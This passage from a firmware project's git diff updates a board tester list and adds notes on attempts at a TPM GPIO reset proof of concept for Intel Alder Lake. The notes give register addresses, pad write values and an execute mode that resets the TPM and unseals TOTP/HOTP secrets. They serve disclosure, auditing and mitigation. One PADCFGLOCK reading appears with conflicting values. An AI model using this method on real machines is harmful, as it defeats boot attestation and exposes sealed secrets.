reconstruct the sealed PCR state. +3. Since PCRs match sealed values, `tpm2 unseal` succeeds, extracting the + TOTP/HOTP shared secret. + +The TPM Disk Unlock Key with passphrase is **not affected** -- the +passphrase is required regardless of PCR state. TPMTOTP/HOTP remote +attestation **is affected** -- the shared secret at NVRAM index 0x4d47 +has no passphrase, enabling unseal with forged PCRs. + +The fix must come from coreboot. Tracked at [coreboot ticket #576](https://ticket.coreboot.org/issues/576) +and [coreboot patch series](https://review.coreboot.org/q/topic:%22intel_gpio_lock%22). + +## Board Testers + +Boards under `boards/*` must be tested by listed owners for coreboot/linux +version bumps. This file is the primary board tester registry. +To be added or removed as a tester, comment on [issue #692](https://github.com/linuxboot/heads/issues/692). +For HCL details: `boards/BOARD_NAME/BOARD_NAME.config`. Laptops == -xx20 (Sandy Bridge: Intel 2nd Gen CPU) +xx20 (Sandy Bridge, 2nd Gen -- EOL) === - [ ] t420 (xx20): @notgivenby @alexmaloteaux @akfhasodh @doob85 - [ ] x220 (xx20): @srgrint @Thrilleratplay -xx30 (Ivy Bridge: Intel 3rd Gen CPU) +xx30 (Ivy Bridge, 3rd Gen -- EOL) === - [ ] t430 (xx30): @notgivenby @nestire @Thrilleratplay @alexmaloteaux @lsafd @bwachter(iGPU maximized) @shamen123 @eganonoa(iGPU) @nitrosimon @jans23 @icequbes1 (iGPU) @weyounsix (t430-dgpu) - [ ] w530 (xx30): @eganonoa @zifxify @weyounsix (dGPU: w530-k2000m) @jnscmns (dGPU K1000M) @computer-user123 (w530 / w530 k2000: prefers iGPU) @tlaurion @@ -51,47 +142,53 @@ xx30 (Ivy Bridge: Intel 3rd Gen CPU) - [ ] x230-fhd/edp variant: @n4ru @computer-user123 (nitro caster board) @Tonux599 @househead @pcm720 (eDP 4.0 board and 1440p display) @doob85 - [ ] t530 (xx30): @fhvyhjriur @3hhh (See: https://github.com/linuxboot/heads/issues/1682) -xx4x (Haswell: Intel 4th Gen CPU) +ThinkCentre (Skylake, 6th Gen Desktop -- EOL) +=== +- [ ] M900 Tower: @notgivenby + +xx4x (Haswell, 4th Gen -- EOL) === - [ ] t440p: @MattClifton76 @fhvyhjriur @ThePlexus @srgrint @akunterkontrolle @rbreslow -- [ ] w541 (similar of t440p): @gaspar-ilom @ResendeGHF +- [ ] w541 (similar to t440p): @gaspar-ilom @ResendeGHF -xx8x (Kaby Lake Refresh: Intel 8th Gen Mobile : ESU ended 12/31/2024) +xx8x (Kaby Lake Refresh, 8th Gen Mobile -- EOL) === - [ ] t480: @gaspar-ilom @doritos4mlady @MattClifton76 @notgivenby @akunterkontrolle @nestire (Nitrokey) - [ ] t480s: @thickfont @kjkent @HarleyGodfrey @nestire (Nitrokey) Librem === -- [ ] Librem 13v2 (Sky Lake: Intel 6th Gen CPU): @JonathonHall-Purism -- [ ] Librem 15v3 (Sky Lake: Intel 6th Gen CPU): @JonathonHall-Purism -- [ ] Librem 15v4 (Kaby Lake: Intel 7th Gen CPU): @JonathonHall-Purism -- [ ] Librem 13v4 (Kaby Lake: Intel 7th Gen CPU): @JonathonHall-Purism -- [ ] Librem 14 (Comet Lake: Intel 10th Gen CPU): @JonathonHall-Purism -- [ ] Librem 11 (Jasper Lake: Intel 11th Gen Atom CPU): @JonathonHall-Purism +All EOL unless marked Active. +- [ ] Librem 13v2 (Skylake, 6th Gen): @JonathonHall-Purism +- [ ] Librem 15v3 (Skylake, 6th Gen): @JonathonHall-Purism +- [ ] Librem 15v4 (Kaby Lake, 7th Gen): @JonathonHall-Purism +- [ ] Librem 13v4 (Kaby Lake, 7th Gen): @JonathonHall-Purism +- [ ] Librem 14 (Comet Lake, 10th Gen -- Active): @JonathonHall-Purism +- [ ] Librem 11 (Jasper Lake, Atom -- Active): @JonathonHall-Purism Clevo === -- [ ] Nitropad NS50 (Alder Lake: Intel 12th Gen CPU): @daringer -- [ ] Novacustom NV4x (Alder Lake: Intel 12th Gen CPU): @tlaurion @daringer -- [ ] Novacustom v540tu (Meteor Lake: Intel Core Ultra 7 155H, Core Ultra Series 1 – 14th Gen Mobile): @tlaurion @daringer @mkopec -- [ ] Novacustom v560tu (Meteor Lake: Intel Core Ultra 7 155H, Core Ultra Series 1 – 14th Gen Mobile): @tlaurion @daringer @mkopec - +All Active. +- [ ] Nitropad NS50 (Alder Lake, 12th Gen): @daringer +- [ ] Novacustom NV4x (Alder Lake, 12th Gen): @tlaurion @daringer +- [ ] Novacustom v540tu (Meteor Lake, Core Ultra S1): @tlaurion @daringer @mkopec +- [ ] Novacustom v560tu (Meteor Lake, Core Ultra S1): @tlaurion @daringer @mkopec Desktops / Servers == -- [ ] Optiplex 7010/9010 SFF/DT (Ivy Bridge: Intel 3rd Gen CPU): @tlaurion(owns DT variant) -- [ ] HP Z220 CMT (Ivy Bridge: Intel 3rd Gen CPU): @d-wid -- [ ] KGPE-D16 (Bulldozer: AMD Family 15h CPU) – dropped in coreboot 4.12: @arhabd @Tonux599 @zifxify -- [ ] Librem L1UM v1 (Broadwell: Intel 5th Gen CPU): @JonathonHall-Purism -- [ ] Librem L1UM v2 (Coffee Lake: Intel 9th Gen CPU): @JonathonHall-Purism -- [ ] Librem mini v1 (Whiskey Lake: Intel 8th Gen CPU : ESU ends 03/31/2026): @JonathonHall-Purism -- [ ] Librem mini v2 (Comet Lake: Intel 10th Gen CPU): @JonathonHall-Purism -- [ ] Talos II (Power9, PPC64LE): @tlaurion (became untested, low community interest despite large investment) - -MSI +All EOL unless marked Active. +- [ ] Optiplex 7010/9010 SFF/DT (Ivy Bridge, 3rd Gen): @tlaurion(owns DT variant) +- [ ] HP Z220 CMT (Ivy Bridge, 3rd Gen): @d-wid +- [ ] KGPE-D16 (AMD Family 15h): @arhabd @Tonux599 @zifxify +- [ ] Librem L1UM v1 (Broadwell, 5th Gen): @JonathonHall-Purism +- [ ] Librem L1UM v2 (Coffee Lake, 9th Gen): @JonathonHall-Purism +- [ ] Librem mini v1 (Whiskey Lake, 8th Gen): @JonathonHall-Purism +- [ ] Librem mini v2 (Comet Lake, 10th Gen -- Active): @JonathonHall-Purism +- [ ] Talos II (POWER9, PPC64LE): @tlaurion (became untested, low community interest despite large investment) + +MSI (Alder/Raptor Lake — Active) --- -- [ ] MSI PRO Z690-A (WIFI) (DDR4): **None** - Board is untested. -- [ ] MSI PRO Z690-A (WIFI) (DDR5): **None** - Board is untested. -- [ ] MSI PRO Z790-P (WIFI) (DDR4): **None** - Board is untested. -- [ ] MSI PRO Z790-P (WIFI) (DDR5): @Tonux599 +- [ ] MSI PRO Z690-A (WIFI) (DDR4): **None** - Board is untested. (Active, Alder Lake 12th Gen) +- [ ] MSI PRO Z690-A (WIFI) (DDR5): **None** - Board is untested. (Active, Alder Lake 12th Gen) +- [ ] MSI PRO Z790-P (WIFI) (DDR4): **None** - Board is untested. (Active, Raptor Lake 13th Gen) +- [ ] MSI PRO Z790-P (WIFI) (DDR5): @Tonux599 (Active, Raptor Lake 13th Gen) diff --git a/doc/TPM_GPIO_Reset_Approaches.md b/doc/TPM_GPIO_Reset_Approaches.md new file mode 100644 index 000000000..263917952 --- /dev/null +++ b/doc/TPM_GPIO_Reset_Approaches.md @@ -0,0 +1,670 @@ +# TPM GPIO Reset Attack -- Approaches Exhausted on Intel ADL-P (NovaCustom NV4x) + +This document chronicles every approach tried during development of the TPM GPIO +reset Proof-of-Concept for Intel ADL-P (Alder Lake mobile, NovaCustom NV4x) +and the broader family of affected platforms. + +## Background + +The TPM GPIO reset attack, disclosed by Mate Kukri in June 2024, exploits a +design flaw in Intel PCH platforms where the PLTRST# (Power Loss Timer Reset) +signal driving the discrete TPM is connected through a multi-function GPIO pad. +On vulnerable platforms, this pad can be reprogrammed from native function +(LPC/eSPI/SPI output) to GPIO output mode, allowing an attacker to assert a +hardware reset of the TPM, clear its PCRs, and then forge measurement values +to unseal sealed secrets. + +The attack relies on three conditions: +1. The PLTRST# pad is part of a GPIO community, not a dedicated pin. +2. The GPIO pad configuration lock is NOT set by firmware. +3. The PLTRST# assertion mechanism actually works when the pad is toggled. + +Condition 3 proved unexpectedly difficult on ADL-P. This document explains why. + +--- + +## 1. What We Verified (from coreboot source code) + +### 1.1 Register Addresses Verified Against coreboot 26.06 + +All register addresses were cross-checked against coreboot 26.06 source code +and the kukrimate/tpm-gpio-fail reference implementation. Bit field definitions +(PADRSTCFG, mode mask) were verified against the Linux kernel pinctrl-intel.c. + +See `initrd/bin/tpm-gpio-reset-demo.sh` for the authoritative per-platform +register map: + +- Header comments (lines 50-76): port, pad index, PAD_CFG_BASE, lock offset + per platform family (CNP-LP, SPT/KBP, ADL-P, ADL-S, RPL-S, MTL). +- `detect_platform()` case statement (lines 260-368): PCI device ID to + platform parameter mapping. +- `calculate_registers()` (lines 533-620): full address computation from + PCR_BASE, community port, pad index, and PAD_CFG_BASE, including the + per-pad register layout (2 vs 4 DWORDS per pad) for each generation. + +Note: Intel doc 834810 does not cover pre-Tiger Lake platforms. SPT/KBP +(Skylake/Kaby Lake) PADCFGLOCK offsets (0xA8 per kukri) have no public +Intel verification. + +Note: CML-U (0x066x) and some CML-U steppings in the 0x9d8* range have +PADCFGLOCK at 0x88. Not all 0x9d8* devices have lock registers -- verify +per-stepping. CNP-LP proper (0x9d84) is confirmed to lack the register. + +### 1.2 Platform Detection via PCI Device ID + +Platform detection uses the ISA/LPC bridge (class 0x0601, device 00:1f.0 on Intel). +PCI device IDs map to PCH families as documented in the script's `detect_platform()` +function. This is reliable across all Linux kernels and does not depend on DMI data +or board config. + +**Definitive results from NV4x ADL-P testing (debug mode, 2026-07-22):** + +| Test | Result | +|---|---| +| DW0 original value | `0x00040040` (mode=GPIO, TX=0, PADRSTCFG=PWROK) | +| PADCFGLOCK (0xFD6E0080) | `0x00000000` — NOT locked | +| PADCFGLOCKTX (0xFD6E0084) | `0x00000000` — NOT locked | +| Write 0x40000401 (NF1) | Readback `0x01040040`, mode=0 — **mode bits [13:10] locked** | +| Write 0x80000000 (kukrimate) | Readback `0x00000080` — **verified** (bit 31 set, TX=0) | +| Write 0x80000001 (TX=1) | Readback `0x03000080`, TX=0 — **inconclusive** \\* | +| Write 0x80000000 (TX=0) | Readback `0x00000080` — verified | +| `tpmr.sh shutdown` | Success | +| `tpm2 startup -c` | **Success** (exit 0, stderr clean) | +| `tpmr.sh startsession` | **Success** (encrypted sessions recreated) | +| `/sys/class/tpm/tpm0/pcrs` | **NOT FOUND** — kernel TPM driver did not detect bus reset | +| `pcrs()` / `tpm2 pcrread sha256` | Hangs after GPIO assertion | +| `tpm2 pcrread sha256:0` | Sometimes succeeds, sometimes hangs | + +The ADL-P `tpm2 pcrread sha256` hang (observed during all-PCR reads) is a **SEPARATE issue** from the GPIO manipulation — the hang occurs even without GPIO toggle. This may be a TPM driver / kernel issue specific to ADL-P mobile, not a consequence of PLTRST# assertion behavior. + +\\* `0x03000080` has bit 7, bit 24, and bit 25 set — these do not map to any defined +DW0 register field on ADL-P. PADCFGLOCKTX reads as `0x00000000` (unlocked), meaning +the TX bit should be writable per coreboot GPIO documentation. The anomalous readback +may be a PCR sideband artifact rather than a definitive TX lock. **Cannot confirm +whether TX toggle generates a PLTRST# edge without physical scope measurement.** + +The anomalous readback 0x03000080 on ADL-P TX toggle contains bits 7, 24, and 25 +that do not map to any defined DW0 field. This may indicate a PCR sideband +read-back artifact, an undocumented hardware state register, or a die-specific +side-effect. Follow-up with a logic analyzer on the physical PLTRST# pin is +needed to determine whether the pad state actually changed. + +**Key conclusion:** After the full shutdown→GPIO→startup sequence, the kernel TPM +driver does NOT detect a bus reset (`/sys/class/tpm/tpm0/pcrs` never appears). +PCRs are cleared by `tpm2 startup -c` alone. Whether the GPIO manipulation +contributed to the reset or the PLTRST# pin was ever driven low is inconclusive +from software diagnostics alone — a logic analyzer on the LPC/eSPI reset line +is needed. + +### 1.3 PADCFGLOCK Registers Confirmed Accessible + +PADCFGLOCK and PADCFGLOCKTX registers are read/writable via `/dev/mem` on ADL-P +when `CONFIG_STRICT_DEVMEM=n` (Heads default). + +See `initrd/bin/tpm-gpio-reset-demo.sh` for per-platform lock register +addresses: the `_get_lock_base()` helper function (lines 853-866) maps each +PCH family to its PADCFGLOCK offset, and `check_lock_registers()` (lines +1062-1099) performs the read/check at runtime. + +NV4x ADL-P readings: PADCFGLOCK=0x00010203 (bits 0,8,17 set; GPP_B13 bit 13 +NOT set), PADCFGLOCKTX=0x00000000. Pad is NOT locked. + +### 1.4 GPIO Lock Status per Dasharo/Purism Forks + +See `doc/TPM_GPIO_Reset_Vulnerability.md` section "coreboot GPIO Lock Status +by Platform Generation" for per-platform Kconfig selection, code paths, and +non-functional lock status analysis. Key findings specific to NV4x: + +- Dasharo fork (NV4x/NS50/Z790-P): SBI lock method compiled but never called + because no board GPIO table entries use `PAD_CFG_LOCK`. Pad is NOT locked. +- Purism fork (Librem 14, Tiger Lake): No GPIO lock Kconfig selected, no + `pad_cfg_lock_offset`. Pad is NOT locked. + +**Important caveat:** All Dasharo fork GPIO lock analysis is based on build +tree inspection (Kconfig, source code, FSP UPDs). No Dasharo firmware image +with PADCFGLOCK actually set has been tested on hardware. The claim that +"adding PAD_CFG_NF_LOCK to board GPIO tables would lock GPP_B13" is theoretical. + +The Star Labs PchUnlockGpioPads fix (commit 06f3c07, patch 93422) is described +in `doc/TPM_GPIO_Reset_Vulnerability.md` (see "Upstream Tracking"). + +--- + +## 2. Approaches Attempted (in Chronological Order) + +### Approach 1: GPIO Pad Reprogramming (Native -> GPIO Output -> Toggle -> Restore) + +**What we did:** Read DW0/DW1 of GPP_B13 via `/dev/mem`, save originals, write +0x80000000 to DW0 (GPIO output + bit 31), write 0 to DW1, wait 1s, restore +originals. See `assert_pltrst()` in `initrd/bin/tpm-gpio-reset-demo.sh` for +the exact implementation. + +**Result on NV4x (ADL-P):** +- DW0 write verified by readback (LE bytes "00000080" returned). +- Pad transitioned to GPIO mode (confirmed by mode bits in readback). +- PCR 2 did NOT clear -- remained non-zero after the toggle. +- `/sys/class/tpm/tpm0/pcrs` NOT FOUND -- kernel TPM driver detected no bus reset. + +**Why it failed:** Changing DW0 mode bits does not drive PLTRST# on the +electrical pin on ADL-P. The pad may not be routed to the TPM reset line on +this PCH die. The kukrimate reference implementation (`inteltool.c`) does NOT +include ADL-P device IDs and was not tested by the original researcher. + +### Approach 2: Kukrimate-Style Direct Register Write (0x80000000 to DW0) + +**What we did:** Same as Approach 1 but following kukrimate's inteltool.c precisely +(save DW0/DW1, write 0x80000000, wait, write 0 to DW1, restore). + +**Result on NV4x:** Identical to Approach 1 -- write verified, PCR 2 still non-zero. + +**Why it failed:** The PADRSTCFG field (DW0 bits[31:30]) selects the pad's own reset +trigger source per Linux pinctrl-intel.c (`PADCFG0_RESET_MASK = GENMASK(31,30)`); +it does NOT assert PLTRST# on the output signal. 0x80000000 sets PADRSTCFG=PLTRST +as the pad's reset source, GPIO mode, and TX=0 -- the pad will reset when PLTRST# +is asserted by the PCH, but the pad does not drive PLTRST#. ADL-P uses 4-DWORD +pads; Intel doc 834810 may document this field at a different offset for ADL-P +than for SPT/KBP (2-DWORD) layouts. + +### Approach 3: Dynamic SBREG_BAR Reading via P2SB PCI Config Space + +**What we did:** Attempted to read SBREG_BAR from P2SB (00:1f.1) by unhiding it +and reading BAR0. + +**Result on NV4x:** P2SB is hidden by FSP-S and MASKLOCK'd (bit 8 of BCTRL) -- +writes to unhide are silently ignored. PCI config returns 0xffffffff. + +**Why it failed:** FSP-S locks the P2SB HIDE bit during POST. Hidden devices are +not in the kernel's PCI bus topology. See Section 3.1 for the SBI alternative. + +Hardcoded PCR_BASE values remain reliable: ADL-P mobile=0xFD000000, +ADL-S/RPL-S desktop=0xE0000000, SPT/KBP/CNP-LP=0xFD000000. + +### Approach 4: chipsec Analysis of PCR Access Mechanism + +**What we did:** Analyzed chipsec source code to understand its PCR MMIO access +path and `tpm_gpio_fail` module decision tree. + +**Key finding:** chipsec uses the same hardcoded SBREG_BAR=0xFD000000 and the same +`dd`-style mmap via `/dev/mem`. chipsec would confirm "write succeeded" on NV4x +using the same LE byte readback check we use. chipsec's SBI write solution +(solution 5) was not tested -- P2SB is MASKLOCK'd (see Approach 3). + +### Approach 5: PADCFGLOCK / PADCFGLOCKTX Check + +**What we did:** Read PADCFGLOCK at 0xFD6E0080 to verify whether lock bits +blocked our writes. + +**Result on NV4x:** PADCFGLOCK=0x00010203 (bits 0, 8, 17 set; bit 13/GPP_B13 NOT +set). PADCFGLOCKTX=0x00000000. Pad is NOT locked. + +See `check_lock_registers()` in `initrd/bin/tpm-gpio-reset-demo.sh` for +per-platform PADCFGLOCK/PADCFGLOCKTX address calculation and the +`_get_lock_base()` helper for lock offset mapping (lines 853-866). + +### Approach 6: NF1 Mode Forcing (GPIO → NF1 → GPIO+TX=0) + +**What we did:** +On ADL-P, the pad starts in GPIO mode (DW0=0x00040040, mode=0). The kukrimate +0x80000000 write only creates a PLTRST# transition when the pad starts in NF1 +mode. Attempted to force NF1 mode first by writing 0x40000401 (NF1 + TX=deassert ++ DEEP reset): + +1. Save DW0 (GPIO mode). +2. Write 0x40000401 to switch pad to NF1 (reconnects PLTRST# signal). +3. Write 0x80000000 (GPIO+TX=0) — pad transitions NF1→GPIO, creating high→low + edge that asserts PLTRST# on the bus. +4. Sleep 1s. +5. Deassert by writing NF1+TX=1. +6. Restore original. + +**Result on NV4x (ADL-P):** +- NF1 write (0x40000401): readback 0x01040040, **mode=0 (GPIO)** — NF1 switch FAILED. + Mode bits [13:10] are hardware-locked, cannot be changed at runtime. +- 0x80000000 write: verified (readback 0x00000080), mode=0, TX=0. +- Since pad never left GPIO mode, no NF1→GPIO transition occurred, no PLTRST# pulse. +- `tpm2 startup -c` succeeds, `tpmr.sh startsession` succeeds, but `/sys/class/tpm/tpm0/pcrs` not found — kernel did not detect bus reset. + +### Approach 7: TX Bit Toggle (TX=1 → TX=0 When Mode Bits Locked) + +**What we did:** Since mode bits [13:10] are locked, tried toggling only the TX bit +(write 0x80000001 → 0x80000000) to create a falling edge on the pad output. + +**Result on NV4x (ADL-P):** TX=1 write readback was 0x03000080 (anomalous -- bits +7, 24, 25 set but TX=0). TX=0 write verified. PADCFGLOCKTX=0x00000000 (unlocked). +`/sys/class/tpm/tpm0/pcrs` NOT FOUND. Inconclusive without physical scope. + +### Approach 8: kukrimate sysfs PCR Verification + +**What we did:** Used `/sys/class/tpm/tpm0/pcrs` (kukrimate's PCR verification +method) instead of `tpm2 pcrread`. The sysfs pcrs file only appears after the +kernel TPM driver detects a bus reset via `tpm2_auto_startup()`. + +**Result on NV4x (ADL-P):** `/sys/class/tpm/tpm0/pcrs` NOT FOUND after GPIO +assertion. `tpm2 startup -c` succeeds, `tpmr.sh startsession` succeeds, but all +PCR clearing is from `TPM2_Startup(CLEAR)` alone per TCG 2.0 Part 1 Section +12.2.3.2. The kernel driver detected no bus reset. See `post_assertion_cleanup()` +in the script for the sysfs pcrs check logic (lines 1216-1233). + +--- + +## 3. Approaches NOT Attempted (Require NDA, Firmware Changes, or C Compilation) + +### 3.1 P2SB SBI Write + +Would require unhiding P2SB (MASKLOCK'd by FSP-S on ADL-P) and sending +sideband messages through undocumented Intel NDA protocols. Not feasible +without custom firmware. + +### 3.2 CF9 Reset + +Writing to I/O port 0xCF9 reboots the entire system (CPU + chipset), losing +kernel state. The attack requires attacker code to survive the reset for PCR +replay, which CF9 reset prevents. + +### 3.3 Custom Dasharo Build with GPIO Locking Disabled + +GPIO locking is already non-functional on NV4x (see Section 1.4). Disabling +what doesn't work won't help -- the issue is the PLTRST# routing inside the +PCH die, not a lock bit. + +### 3.4 C mmap Test Program + +A C mmap program would not produce different electrical results -- the +register write is verified atomic at the MMIO bus level by readback. The +mechanism barrier is PCH-internal routing, not a tooling limitation. + +--- + +## 4. What Remains Unknown (Requires Community Testing or NDA Documentation) + +### 4.1 Whether the Mechanism Works on Other Platform Families + +See `doc/TPM_GPIO_Reset_Vulnerability.md` section "Per-Platform Feasibility" +for the known status of each PCH generation. The open question is whether the +GPIO pad toggling actually asserts PLTRST# on platforms beyond SPT/KBP +(the only family confirmed working by kukrimate). Desktop PCH implementations +(ADL-S/RPL-S, PCR port 0x6d) may route PLTRST# differently. CNP-LP (T480s) +is UNTESTED. + +### 4.2 Whether C mmap Would Behave Differently + +See Section 3.4. The register write is verified atomic at the MMIO bus level +by readback; a C mmap program is not expected to change the electrical result. + +### 4.3 Whether P2SB SBI Write Would Bypass the Blocking Mechanism + +The SBI write path bypasses the GPIO pad MMIO interface and talks directly +to the PCH sideband fabric. If the GPIO pad MMIO route is blocked by some +internal gating (not a lock register, but a functional block), SBI might +still be able to assert PLTRST#. + +However, this is speculative: +- P2SB is likely MASKLOCK'd (cannot unhide from software). +- Even if unhidden, SBI protocol details are Intel NDA. +- No open-source ADL-P PoC uses SBI for this purpose. + +### 4.4 Intel NDA Documentation Gaps + +The following are documented only in Intel's NDA BIOS Writer's Guide (BWG) +and are not available to the open-source community: +- Complete PLTRST# signal routing within ADL-P PCH dies. +- Sideband fabric message formats for GPIO pad control. +- P2SB MASKLOCK behavior and any known workarounds. + +--- + +## 5. What the Script CAN Do + +The `tpm-gpio-reset-demo.sh` script is a comprehensive audit and PoC tool. +Even on platforms where the GPIO toggle doesn.t assert PLTRST#, the script +provides significant value: + +### 5.1 Platform Detection + +- Detects ALL known Intel PCH families via ISA/LPC bridge PCI device ID: + - SPT (Skylake 6th gen) + - KBP (Kaby Lake 7th gen) + - CNP-LP (Kaby Lake-R / Whiskey Lake / Comet Lake) -- UNTESTED + - ADL-P (Alder Lake mobile 12th gen) + - RPL-P (Raptor Lake mobile 13th gen) + - ADL-S (Alder Lake desktop 12th gen) + - RPL-S (Raptor Lake desktop 13th/14th gen) + - MTL (Meteor Lake, Core Ultra Series 1+) +- Falls back to CONFIG_BOARD for MTL, pre-SKL, and board-specific patterns + (optiplex, z220, m900, librem, msi_z690). +- Reports UNKNOWN for unrecognized platforms with full help text. + +### 5.2 Vulnerability Classification (3-Tier) + +Classifies per verified Dasharo/Purism fork analysis using a 3-tier system: + +- **TIER 1 -- VULNERABLE (confirmed)**: SPT/KBP (T480, M900, Librem, etc.) + Mechanism confirmed working by kukri. Pad unlocked, attack feasible. + +- **TIER 2 -- VULNERABLE (unconfirmed)**: CNP-LP (T480s) + Pad unlocked, mechanism theoretically works but NO hardware test data exists. + kukri's PoC does not support this PCH family. Community testing needed. + +- **TIER 3 -- VULNERABILITY UNCERTAIN**: ADL-P (NV4x, NS50), RPL-P, ADL-S, RPL-S + GPIO lock is absent, writes verified, but PLTRST# assertion NOT confirmed on + these PCH dies. PCRs remain non-zero after toggle on NV4x ADL-P. Physical scope + verification needed. May not be electrically connected. + +- **NOT VULNERABLE**: Pre-Skylake (dedicated PLTRST# pin), Meteor Lake + (functional GPIO lock via Kconfig, eSPI-connected TPM). + +### 5.3 Register Read and Lock Status + +- Reads PADCFGLOCK and PADCFGLOCKTX registers and decodes per-pad lock bits. +- Reads and decodes DW0 mode bits (GPIO vs NF1-NF7), TX state, TX disable, + RX disable, and reset config (PWROK/DEEP/PLTRST/RSMRST). +- Reports whether pad is already in GPIO mode (possible attack indicator). + +### 5.4 Audit Mode (3-Tier Classification) + +In audit mode (default, `--audit`): +- Reports vulnerability status per 3-tier classification (TIER 1 confirmed, + TIER 2 unconfirmed, TIER 3 uncertain). +- Shows register addresses and community mapping. +- Explains the attack plan step by step. +- Distinguishes between confirmed-working (SPT/KBP), untested (CNP-LP), and + inconclusive (ADL/RPL) platforms. +- No hardware manipulation is performed. + +### 5.5 Execute Mode Proof of Concept + +In execute mode (`--execute`): +- Saves and restores pad configuration (tested: write verifies on NV4x). +- Toggles GPIO pad and verifies write. +- Reads PCRs before and after reset to check for success. +- Replays PCR measurements from `cbmem -L` and `/tmp/measuring_trace.log`. +- Attempts to unseal TOTP/HOTP secrets from NVRAM index 0x4d47. + +**Important**: The execute mode IS functional as a PoC on platforms where +the GPIO toggle actually resets the TPM (SPT/KBP confirmed by kukrimate). +On ADL-P, the toggle does NOT clear TPM PCRs, so the execute mode will report +failure (PCR 2 non-zero after toggle). The write verification, lock register +reads, and measurement replay all work, but the PLTRST# assertion step fails because +the mechanism doesn't work on this PCH die. + +### 5.6 TCG Specification Guarantees Underlying the Attack + +See `doc/TPM_GPIO_Reset_Vulnerability.md` section "TPM Reset Scope (per TCG +Specification)" for the full TCG 2.0 Part 1 citations (Sections 4, 12.2.3.2, +27.2.6, 37), volatile vs non-volatile persistence, and the TOTP/HOTP vs DUK +unseal requirements. + +### 5.7 Mitigations + +See `doc/TPM_GPIO_Reset_Vulnerability.md` section "Mitigations" for the +complete list: authenticated recovery shell, firmware integrity verification, +and TPM DUK with passphrase. + +--- + +## 6. Community Testing Request + +To determine whether the PLTRST# assertion mechanism works on other platforms, +we need community testing with the exact procedure below. + +### General Test Procedure + +For all platforms: + +```bash +# Step 1: Install the script on the target +# - Clone heads repo or copy tpm-gpio-reset-demo.sh to the test system +# - Run as root +# - Requires: bash, dd, xxd, /dev/mem access (CONFIG_STRICT_DEVMEM=n) + +# Step 2: Audit mode (safe -- reports vulnerability) +./initrd/bin/tpm-gpio-reset-demo.sh --audit + +# Step 3: Check current PCR state +pcrs # Or: tpm2 pcrread + +# Step 4: Execute mode (performs GPIO toggle, checks PCRs) +./initrd/bin/tpm-gpio-reset-demo.sh --execute + +# Step 5: Report the following information: +# - Platform: model, BIOS version, coreboot version +# - Output of --audit (platform class, register addresses) +# - Output of --execute (DW0 readback, PCR 2 before/after) +# - PADCFGLOCK value (printed in debug output) +``` + +### 6.1 CNP-LP Testing (ThinkPad T480s, T490, T495, X390) + +See `initrd/bin/tpm-gpio-reset-demo.sh` header comments (lines 46-58) and +`detect_platform()` for register addresses. CNP-LP device IDs are 0x9d84-0x9d8f. + +**What to test:** +1. Run `./tpm-gpio-reset-demo.sh --execute`. +2. Check if PCR 2 clears after the GPIO toggle. +3. Mechanism status: UNTESTED -- no hardware verification. + kukri's PoC does not support CNP-LP. Community testing needed. + +**Expected result (if mechanism works):** +- DW0 write verified (LE readback "00000080"). +- PCR 2 reads zero after toggle. +- If PCR 7 also clears, measurement replay is required before unseal. + +### 6.2 SPT/KBP Testing (ThinkPad T480, T470, X270, M900 Tiny, T460, X260) + +Register addresses: see the script's `detect_platform()` and `calculate_registers()`. +SPT/KBP uses PCR port 0xaf, PAD_CFG_BASE=0x400, 2 DWORDS (8 bytes) per pad. + +**Status: CONFIRMED WORKING** by kukrimate on T480 (KBL). + +**What to test (verification):** +1. Run `./tpm-gpio-reset-demo.sh --execute`. +2. Confirm PCR 2 clears. +3. Confirm `tpm2_unseal` works after measurement replay. + +### 6.3 ADL-S Desktop Testing (Desktop 12th gen) + +Register addresses: see the script's `detect_platform()` and `calculate_registers()`. +ADL-S device IDs are 0x7a80-0x7a8c, PCR port 0x6d, PAD_CFG_BASE=0x700. + +**What to test:** +1. Run `./tpm-gpio-reset-demo.sh --execute`. +2. Check if PCR 2 clears. +3. Mechanism status: UNKNOWN -- no community test results available. + +**Important note for desktop testing:** +Desktops often have firmware TPM (fTPM) instead of discrete TPM. The attack +only works on discrete TPMs connected via LPC/eSPI/SPI. Check if your system +has a discrete TPM module (separate chip on motherboard) vs firmware TPM. +Intel PTT (Platform Trust Technology, fTPM) is NOT affected by the GPIO reset +attack because it doesn't use a discrete TPM chip. + +### 6.4 RPL-S Desktop Testing (MSI Z790-P DDR5, etc.) + +Register addresses: see the script's `detect_platform()` and `calculate_registers()`. +RPL-S device IDs are 0x7a0c-0x7a17, PCR port 0x6d, PAD_CFG_BASE=0x700. + +**Status: UNKNOWN.** See `doc/TPM_GPIO_Reset_Vulnerability.md` per-platform +feasibility table for Dasharo fork configuration details. If the test shows the +toggle DOES work, this would mean the pad is electrically connected differently +than ADL-P mobile. + +### 6.5 Reporting Template + +Please report findings using this template: + +``` +Platform: +PCH device ID: +coreboot version: +Discrete TPM model: + +--audit output: + + +--execute output: + + +PADCFGLOCK value: +PCR 2 before: +PCR 2 after: +Mechanism worked? YES/NO +``` + +--- + +## 7. MTL GPIO Lock Fix Recipe + +Meteor Lake (MTL) requires a different GPIO lock approach than ADL. The +following three coordinated changes are needed: + +### 7.1 Fix PchUnlockGpioPads Logic + +Star Labs identified inverted logic in Alder Lake's `PchUnlockGpioPads` UPD +(commit 06f3c07, in-review patch 93422). The original code had: +```c +PchUnlockGpioPads = lockdown_by_fsp; +``` +This sets the UPD to 0 when coreboot manages lockdown (correct semantic), but +the variable name implies the opposite action. The fix corrects this to +explicitly set the UPD based on whether coreboot or FSP should manage GPIO +pad locking. MTL builds need this fix applied to their FSP integration code. + +### 7.2 Move mainboard_configure_gpios() to Ramstage + +On MTL, `mainboard_configure_gpios()` currently runs in romstage, before FSP-S +initializes the GPIO controller. GPIO pad config registers are not accessible +at this stage. Moving the call to ramstage (after FSP-S runs) ensures pad +config registers are writable when the lock action is applied. + +### 7.3 Add PAD_CFG_NF_LOCK to Board GPIO Tables + +MTL's PCR lock mechanism (`SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR`) is +simpler than ADL's SBI method: it uses direct MMIO writes to the PADCFGLOCK +register (no P2SB unhiding needed). Each pad in the board GPIO table that +needs locking must include the `PAD_CFG_NF_LOCK` macro (for native-function +pads like PLTRST#) or `PAD_CFG_LOCK` (for GPIO pads). Without these macros +in the board GPIO table entries, the `gpio_configure_pads()` code path skips +the lock action entirely. + +None of these three changes are applied in current MTL builds (Dasharo or +upstream coreboot). The PCR lock infrastructure compiles but zero pads are +actually locked. Additionally, FSP sets `PchUnlockGpioPads=1` on MTL, +force-unlocking all pads regardless of the board configuration. + +--- + +## 